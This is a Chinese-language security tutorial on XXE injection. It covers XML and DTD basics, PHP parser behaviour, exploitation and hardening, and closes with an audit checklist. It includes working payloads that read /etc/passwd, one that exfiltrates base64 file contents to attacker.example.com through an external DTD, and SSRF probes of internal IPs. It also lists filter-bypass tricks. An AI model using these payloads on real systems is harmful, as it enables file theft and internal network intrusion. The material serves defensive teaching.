
做安全评估这些年我处理过不少OWASP TOP 10里的经典漏洞但XXEXML External EntityXML外部实体注入一直是我觉得最容易被低估的一个。看起来只是解析了一个XML实际上攻击者可能已经顺着这条解析链读走了服务器上的配置文件。标题里提到的XML基本语法、DTD、漏洞原理、PHP函数、防御方法每一个都是独立的知识点但它们串起来就是一条完整的攻击链。这篇文章就按这条链的顺序把我实际测试中积累的东西从头讲一遍。1. XML与DTD基础先搞懂数据格式为什么能变成执行入口1.1 一段XML长什么样文档结构速览XML的语法本身并不复杂。一份标准的XML文档由几个部分组成XML声明、根元素、子元素、属性以及实体引用。很多开发者在日常工作中接触XML不外乎是写配置文件或者对接第三方接口感觉它就是一套带标签的数据。但恰恰是这种看起来只是数据的错觉埋下了后续所有问题的伏笔。看一个最简单的XML文档?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY author 某开发者 ] root article titleXXE漏洞分析/title writerauthor;/writer /article /root这里有几件事值得注意。第一行是XML声明声明了版本和编码。第二行是DOCTYPE声明它引出了DTDDocument Type Definition文档类型定义的概念。author;这种写法叫实体引用它会在解析时被替换成具体的文本内容。对XML解析器来说它拿到的不只是结构化数据还包括一套如何理解这份数据的规则而DTD就是这套规则的载体。如果我们把XML比作一张填好的表格DTD就相当于表格附带的填表说明。问题在于这份填表说明被人动了手脚时解析器既不会拒绝执行也没有把内容边界挡在安全线之外于是风险就出现了。1.2 DTD的三种声明元素、属性与实体的分工DTD可以在XML文档内部声明也可以引用外部DTD文件。它主要做三类事情声明元素、声明属性、声明实体。元素声明用!ELEMENT语法是!ELEMENT 元素名 内容类型。内容类型可以是EMPTY空元素、(#PCDATA)纯文本、子元素列表或者ANY任意内容。属性声明用!ATTLIST语法是!ATTLIST 元素名 属性名 属性类型 默认值。常见属性类型有CDATA字符数据、ID唯一ID、IDREF引用另一个ID、枚举类型等。实体声明则用!ENTITY。实体机制是整个XXE漏洞的命门它的作用是在XML文档里定义一个快捷方式解析时会被替换为对应的内容。实体种类如果从定义方式分可以这样理解实体类型声明方式示例解析效果内部实体直接在DTD里给出实体值!ENTITY name 某项目直接替换为字面量外部实体引用外部文件或URL!ENTITY name SYSTEM file:///etc/passwd解析时读取外部资源内容参数实体专用于DTD内部用%声明!ENTITY % name 内部内容在DTD定义过程中被引用这里要特别留意外部实体它允许解析器在解析过程中访问外部资源而资源的地址完全由XML内容决定。如果这份XML来自不可信来源外部实体就等于把一个远程文件读取能力交到了攻击者手里。1.3 实体三兄弟理解XXE的钥匙实体其实可以分成三兄弟来看这是我给团队新人讲课时最常用的类比。老大是内部实体它老老实实呆在DTD里声明完直接给一个文本值解析时原样替换没什么危险性。老二是外部实体它用SYSTEM关键字指定外部资源路径你可以用file://协议读本地文件用http://协议发起网络请求。老三是参数实体它在DTD内部用%实体名声明、用%实体名;引用通常用来构造更复杂的DTD结构。在XXE攻击里最常见的是老二——外部实体配合老大做回显老三则经常出现在无回显场景中用它搭一座桥把文件内容传出去。理解了这三种实体的定位后续看攻击payload就不会觉得是玄学了。它们都是XML标准里合理存在的语法问题从来不在于实体这个机制本身而在于解析器在面对外部实体时没有做任何限制。2. XXE漏洞的本质解析器替你执行了外部实体2.1 信任边界的错位聊XXE绕不开一个概念——信任边界。我们可以把应用程序分成两半一半是内部可信环境解析器默认信任传入的XML另一半是不可信的外部输入网络上传来的XML、文件导入的XML、接口回调的XML全都属于这一半。XXE漏洞的本质是这两半之间没有隔离一份由外部传入的XML竟然被解析器赋予了访问内部文件系统的权限。之前我给某后台系统做评估时遇到过这样一个接口它接收一个XML格式的导入文件用来批量录入配置数据。开发者的本意只是把XML里的字段读出来存进数据库但解析器在遇到外部实体时会按照XML里的SYSTEM地址去读取资源而不是先问一句这个地址我该不该访问。这就像你让前台帮忙签收一个包裹结果包裹里附带了一张纸条上面写着顺便帮我把隔壁房间的门打开。前台照做了因为她的职责是处理这张纸条而不是判断该不该开门。2.2 有回显读取文件经典利用过程有回显Echo-based是最直观的XXE利用方式攻击者发一个XML解析结果直接返回到响应页面里文件内容就这么被展示出来。经典的payload长这样?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] root namexxe;/name /root当应用使用simplexml_load_string或DOMDocument::loadXML解析这份XML再把解析后的name元素内容输出时xxe;会被替换成/etc/passwd的全部内容。原理很简单解析器看到了外部实体声明就会按照SYSTEM后面指定的URI发起读取然后把结果替换回实体引用处。这个利用能成功的条件有三个一是解析器允许DTD和外部实体二是解析后的结果被应用回显到响应中三是攻击者能控制XML内容。三个条件全部满足文件读取就是秒秒钟的事。实际测试中我会先用file:///etc/passwd这种通用路径验证如果系统是Windows就尝试file:///C:/Windows/win.ini能读到内容就说明漏洞确认存在。2.3 无回显场景外带与报错两种思路有回显的XXE好利用但现实是很多接口都是黑盒——解析了XML但结果不会返回到页面。这时候要用无回显Blind利用。无回显的核心思路是外带把文件内容通过带外信道传到攻击者可控的服务器上。经典的做法是利用参数实体和外部DTD嵌套?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd !ENTITY % dtd SYSTEM http://attacker.example.com/evil.dtd %dtd; ] root任意内容/root而evil.dtd里再嵌套一层!ENTITY % all !ENTITY #x25; send SYSTEM http://attacker.example.com/?data%file; %all;这里有个必须注意的坑在XML标准里内部DTD子集中的参数实体引用不能直接出现在另一个参数实体的值里所以必须把中间那层挪到外部DTD文件里。这个细节我见很多初学的人卡住过一卡就是半天最后发现只是结构错位问题。还有一种思路是报错型利用。原理是利用解析器在报错信息里拼接实体内容把敏感文件内容带进错误返回里。比如通过expect://协议前提是安装了相应扩展或者引用一个不存在的外部文件让解析器把路径信息吐出来。报错型利用对环境要求更高但作为无回显场景的第二方案实操价值不小。2.4 最容易中招的业务场景搞安全测试这么多年我总结出XXE高发的几类业务场景它们往往不是专门处理XML的功能而是顺手用了XML格式文件上传功能特别是带DOCX、XLSX这种Office格式文件的上传。Office文档本身就是ZIP包里面全是XML解析Office文件的组件如果配置不当就会成为XXE入口。SOAP接口和WebService老牌企业系统的最爱XML是它们的原生语言而很多老接口压根没改过默认解析配置。单点登录和SAML认证SAML断言基于XML处理断言的库如果默认加载外部实体登录流程就成了攻击入口。配置导入类功能把XML作为配置文件上传的场景。我给团队培训时常说一句话只要这个功能里出现了XML解析四个字不管它是不是核心功能都应该先按XXE的思路过一遍。3. PHP环境下的XXE利用面从读取文件到内网探测3.1 PHP解析函数的默认行为差异PHP里处理XML的函数不少最常见的三个是SimpleXML、DOMDocument和XMLReader。它们的默认安全配置并不完全一致而且不同PHP版本的行为差异也很大这是很多人踩坑的地方。在PHP 7.x及更早版本中使用simplexml_load_string解析一份包含外部实体的XML时部分情况下默认就会加载外部实体。而在PHP 8.0之后PHP内核绑定libxml2的默认安全策略外部实体加载默认被禁止libxml_disable_entity_loader函数也被标记为废弃。也就是说同一份payload在PHP 7.4和PHP 8.2环境下结果可能完全不同。这里有一段我用来快速验证环境是否存活的PHP脚本示例?php $xml XML ?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] root namexxe;/name /root XML; $data simplexml_load_string($xml, SimpleXMLElement, LIBXML_NOENT); print_r($data); ?如果你跑这段代码发现name元素里出现了文件内容说明当前环境的外部实体加载是开启的。如果只有空值或者报错说明默认防御生效。实际做代码审计时不能只看函数名就判断安全与否还得看调用时传没传LIBXML_NOENT、LIBXML_DTDLOAD这些选项以及PHP版本。判断XXE的第一原则永远是以目标环境实际解析行为为准而不是以某个公众号文章里的结论为准。3.2 伪协议组合解决文件读不出来的套路用file://协议读取文件时最尴尬的情况是文件内容里包含特殊字符破坏了XML结构导致解析失败。比如想读取一个包含或符号的配置文件内容回填进XML后直接解析异常。这时候可以借助PHP的php://filter伪协议先做一层编解码!ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd这样解析出来的内容是一整串Base64编码后的文本不会包含XML特殊字符。把Base64数据拿出来再解码无论目标文件是什么格式都能完整拿回来。这是PHP环境下比file://更稳妥的读文件姿势。PHP的wrapper机制是一把双刃剑。一方面它可以组合出php://filter这样的读取方式另一方面如果目标环境装了额外扩展理论上还有调用expect://这类执行命令的可能性。但从实际经验看绝大多数目标环境没有装expect扩展所以我对命令执行场景的态度是不要把它当成默认打法读到文件之后能证明危害就够了非要往命令执行去够容易给自己挖坑。3.3 从读本地文件到SSRFXXE的内网穿透价值读文件只是XXE利用的第一层。外部实体还支持http://协议这意味着我们可以让目标服务器去请求任意URL——这就是SSRF服务端请求伪造。XXE配上SSRF攻击面一下子从本地文件扩大到了整个内网。测试内网存活主机时payload长这样!ENTITY xxe SYSTEM http://192.168.1.10:8080/如果目标内网这个IP和端口上存在服务解析器会在请求该URL时产生不同的响应时间或报错信息通过对比就能判断端口是否开放。更进一步可以请求内网管理后台的敏感接口比如直接访问内网服务的未授权API获取数据原理和SSRF利用完全一致。我在某次项目里遇到过这样的情况一个XML导入接口本身不回显内容看起来没什么价值但它的解析器会主动请求外部URL。通过一次内网端口探测我们很快就发现内网里有一个处于测试阶段的数据库管理页面端口是8082。后来确认这个页面存在未授权访问问题性质就从信息泄露升级成了内网横向风险。不管从攻击角度还是防御角度都不要小看XXE的SSRF能力。3.4 目标接口不可控回显时如何确认漏洞真实存在实际测试中最折磨人的不是漏洞不存在而是漏洞存在但没有回显。确认盲XXE需要三个指标配合判断DNS请求。让XML里的外部实体指向自己可控的域名比如http://xxe.your-domain.com/目标解析器一请求DNS记录就来了。响应延迟。请求一个延迟访问的URL对比正常响应和异常响应的时间差。远程服务器日志。在自己可控的服务器上接收HTTP请求看到来自目标IP的请求记录。这三个指标拿到任何一个都能证明目标服务器的解析器确实会根据XML内容发起外部请求。这也是我在所有XXE验证中都会先做的事——先确认是否执行再考虑能否读文件。不先做这一步直接上/etc/passwd的payload一旦对方网络策略比较严浪费一整天也得不到结论。4. 防御与绕过别只关一个开关就以为安全了4.1 最稳妥的姿势拒绝解析DTD聊XXE防御第一原则是不要指望过滤能防住攻击要从解析配置上关闭外部实体的入口。针对PHP环境最稳妥的做法是处理XML时显式设置不加载DTD外部实体。在PHP 8.0之前可以调用libxml_disable_entity_loader(true)配合LIBXML_NONET选项禁止网络访问?php libxml_disable_entity_loader(true); $data simplexml_load_string($xml, SimpleXMLElement, LIBXML_NONET); ?需要注意的是PHP 8.0之后libxml_disable_entity_loader已废弃外部实体默认就是禁用的。但我还是建议在解析函数调用时显式传入LIBXML_NONET即便将来PHP行为再变至少网络请求这条路是被堵死的。如果项目使用的是第三方XML库一定要去查该库默认是否允许外部实体、是否允许DTD。很多开源库为了兼容性默认配置并不是安全的。我们用的库是官方默认配置不等于我们安全这句话我每年要重复很多遍。4.2 不同语言解析器的加固配置对照XXE不只存在于PHP环境。Java和Python里同样常见而且每个语言要关闭的设置项还都不一样。这里整理一张对照表方便做代码审计时直接对照语言常用解析组件关键加固项PHPSimpleXML / DOMDocument禁用外部实体加载禁止网络访问LIBXML_NONETJavaDocumentBuilderFactory关闭disallow-doctype-decl、external-general-entities、external-parameter-entitiesJavaSAXParserFactory同上重点关闭namespace-aware之外的实体相关特性Pythonlxml设置resolve_entitiesFalse、no_networkTrue、load_dtdFalsePythonxml.etree.ElementTree官方文档明确建议用xml.defusedxml替代标准库解析器Java里有一个实践原则DocumentBuilderFactory要同时设置三个开关——setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)、setFeature(http://xml.org/sax/features/external-general-entities, false)、setFeature(http://xml.org/sax/features/external-parameter-entities, false)。只关其中一个都可能被参数实体或外部实体打法绕过三件套缺一不可。Python那边如果没有引入defusedxml仅靠ElementTree自己的参数去防XXE很容易漏。最省心的做法就是直接换成defusedxml它从底层把外部实体和DTD全部禁掉了省心很多。4.3 绕过手法盘点过滤不彻底是最大的漏网之鱼很多开发者以为在代码里过滤了!DOCTYPE和!ENTITY就安全了这个认知是防御方最危险的误区。攻击者的绕过手法有一箩筐编码绕过把XML转成UTF-16编码很多基于字符串匹配的过滤规则就直接失效了。参数实体绕过不直接使用外部实体改用参数实体去做外部加载。XInclude不声明DTD实体而是用xi:include语法加上parsetext属性读取外部文件这属于XInclude攻击与DTD实体无关很多开发者根本没听过。外部实体隐藏在内层先构造一层正常XML通过外层实体引用的方式动态拼出攻击用的实体名。防御对抗是个持续的过程靠黑名单和正则过滤总会漏掉下一个变形。这也是为什么我一直强调解决方案要放在解析层而不是业务代码层。关闭外部实体加载、禁DTD才是从根上断了念想。4.4 设计层面拿XML承载不可信输入本来就该三思除了解析配置还有个更值得反思的问题为什么不可信输入一定要用XML格式XML本身功能丰富DTD、实体、命名空间、XInclude功能越丰富攻击面越大。很多业务的XML字段完全可以换成JSON。JSON没有实体的概念自然不会遇到外部实体注入的问题。如果业务确实必须用XML至少要在接入层做白名单校验——检查Content-Type、检查XML结构是否包含DOCTYPE、对上传文件做解压审查。我在代码评审时发现过一个有趣的现象维护这套XML导入功能的人已经换了好几茬最初为什么选XML、谁知道这个接口存在团队里没有一个人说得清。技术债往往就是这么一笔一笔积下来的有些债你不还攻击者就会替你还。5. 安全评估视角一次XXE问题排查的完整链路5.1 代码审计时盯紧这三个入口如果你是负责安全或代码评审的人排查XXE时不用大海捞针照着几个固定入口去翻就行所有接收原始XML输入并交给解析器处理的位置搜索关键词simplexml_load_string、DOMDocument::loadXML、XMLReader::xml。解析Office文档、PDF、第三方数据交换格式的模块它们内部经常隐式做XML解析。SOAP、SAML等协议实现搜索SoapClient、SAML相关库的配置项。审计时除了看解析函数更要看它是否被传入危险选项。LIBXML_NOENT在PHP里表示替换实体内容配合LIBXML_DTDLOAD加载DTD就是XXE的触发开关Java里要看external-general-entities的feature设置是否为false。5.2 复现验证的实操方法安全评估中发现疑似XXE复现验证也讲究循序渐进。我常用的流程是白盒环境优先用本地测试XML文件验证先读取一个已知存在的普通文件比如项目根目录下的README.txt避免一上来就碰敏感路径。黑盒环境先发送带外部实体的payload观察响应差异、响应时间以及自己的服务器日志。确认有外部交互后再尝试读取文件。读取文件内容时优先用Base64编码包装避免特殊字符破坏XML解析。复现过程中有个容易忽略的点外部实体读取的是解析器所在服务器的文件不是发起HTTP请求的客户端机器。很多人以为读的是自己电脑上的路径实际一测发现读的是服务器上的文件才反应过来目标在网络拓扑里的位置。这个认知错位会导致整个验证方向跑偏。5.3 漏洞定级与后续修复的检查清单确认漏洞后定级不能一概而论。要结合三个因素综合判断XML内容是否来自公网不可信来源解析结果是否回显解析器是否有网络访问权限。如果三个条件都满足通常可以定高危如果只是内部系统之间传递XML风险等级相对低一些但依然要推动修复。修复后的回归验证建议按这个清单过一遍是否确认禁用了DOCTYPE√/×是否确认禁用了外部实体√/×是否确认禁止了网络访问√/×是否检查了同名功能的所有解析入口√/×是否更换了不安全的三方XML解析库√/×是否在代码评审流程中补充了XML解析规范√/×这五条是我每次做XXE修复验收时都会核一遍的。只要有一条答案不明确我都不会签确认修复。回到文章开头那句话XXE这几年在OWASP TOP 10里的排名时有波动但它在真实业务里的危害从来没有小过。我见过太多团队把精力花在防SQL注入上而对XML解析器的默认信任熟视无睹。说到底写代码的人要记住一句话XML解析器和执行指令之间只隔着一个外部实体。在每一次把XML直接丢给解析器之前先问问自己——这份XML真的值得信任吗